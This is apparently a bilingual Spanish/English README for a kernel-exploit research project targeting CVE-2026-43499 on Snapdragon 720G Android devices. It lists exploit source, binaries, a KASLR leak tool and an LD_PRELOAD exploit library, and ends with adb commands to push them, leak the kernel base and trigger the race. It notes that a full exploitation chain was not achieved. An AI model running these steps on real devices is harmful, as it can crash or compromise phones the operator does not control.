GhostLock-SD720G-CVE-2026-43499/
├── exploit/              # Código fuente y binarios de explotación del kernel / Kernel exploit source & binaries
│   ├── sd720g_exploit.c       # Programa de explotación principal (disparo de carrera + KASLR + logs) / Main exploit
│   ├── sd720g_exploit         # Binario ARM64 compilado (2.1 MB) / Compiled binary
│   ├── target_sd720g.h        # Desplazamientos de símbolos principales (12 funciones) / Core symbol offsets
│   ├── target_sd720g_complete.h  # Tabla completa de 37 símbolos / Full symbol table
│   ├── perf_leak_sd720g.c     # Herramienta de fuga de base KASLR / KASLR base leak
│   ├── perf_leak              # Binario compilado (2.1 MB) / Compiled binary
│   └── compile_perf_leak.bat  # Script de compilación NDK / NDK build script
│
├── preload/              # Biblioteca compartida LD_PRELOAD / Shared library
│   ├── sd720g_preload.c      # Exploit basado en constructor automático / Constructor-based exploit
│   ├── arm.so                # ARM64 .so compilado (16 KB)
│   └── compile_preload.bat   # Script de compilación / Build script
│
├── tools/                # Scripts de análisis y extracción / Analysis & extraction scripts
│   ├── extract_kallsyms.py   # Analizador kallsyms en Python puro (consciente de PIE) / kallsyms parser
│   ├── extract_symbols.py    # Extractor de desplazamientos de símbolos / Symbol offset extractor
│   ├── find_ghostlock_bug.py # Búsqueda binaria de patrón pi_blocked_on=NULL / Bug pattern search
│   ├── reanalysis.py         # Traza de cadena de llamadas de 0x105aeb0 y rb_erase / Call chain trace
│   ├── trace_waiter.py       # Búsqueda de escrituras de campo rt_mutex_waiter / Field write search
│   ├── analyze_pi_state.py   # Análisis del ciclo de vida de asignación/liberación de pi_state / Lifecycle analysis
│   └── kgsl_uaf_test.c       # Prueba de disparo de UAF de GPU KGSL / GPU UAF trigger test
│
├── docs/                 # Documentos de análisis completos / Analysis documents
│   ├── CVE2026-43499_SD720G_分析.md        # Informe de análisis completo (chino) / Full analysis report
│   ├── GHOSTLOCK_SD720G_PORT_RECORD.md     # Registro de portabilidad y hallazgos / Porting record
│   ├── CVE2026-43499_SD720G_参考数据汇总.md  # Datos de referencia y tabla de símbolos / Reference data
│   ├── ALTERNATIVE_STRATEGY.md             # Rutas de ataque alternativas / Alternative paths
│   ├── HEAP_ANALYSIS.md                    # Ciclo de vida del montón / pi_state / Heap lifecycle
│   ├── STACK_ANALYSIS.md                   # Viabilidad de recuperación de pila / Stack reclaim feasibility
│   ├── WRITE_PRIMITIVE.md                  # Investigación de primitivas de escritura / Write primitive research
│   ├── BOOT_ANALYSIS.md                    # Estructura de la imagen de arranque / Boot image structure
│   └── FINAL_ANALYSIS.md                   # Conclusiones finales / Final conclusions

La vulnerabilidad CVE-2026-43499 existe / Vulnerability exists:         ✅ (str xzr en 0xdbf10)
Cadena de explotación IonStack estándar / Standard exploit chain:           ❌ (El código de Qualcomm es diferente / Code differs)
Primitiva de escritura alternativa / Alternative write primitive:                ⚠️ No se encontró en el análisis actual / Not found

# Enviar archivos / Push files
adb push preload/arm.so /data/local/tmp/
adb push exploit/perf_leak /data/local/tmp/
adb shell chmod 755 /data/local/tmp/arm.so /data/local/tmp/perf_leak

# Primer paso: Fugar la base KASLR / Step 1: Leak KASLR base
adb shell /data/local/tmp/perf_leak

# Segundo paso: Disparar la carrera GhostLock / Step 2: Trigger GhostLock race
adb shell LD_PRELOAD=/data/local/tmp/arm.so env

# Después del fallo, revisar dmesg / After crash, check dmesg
adb shell dmesg | grep -A 30 "PC\|Call trace\|Internal error"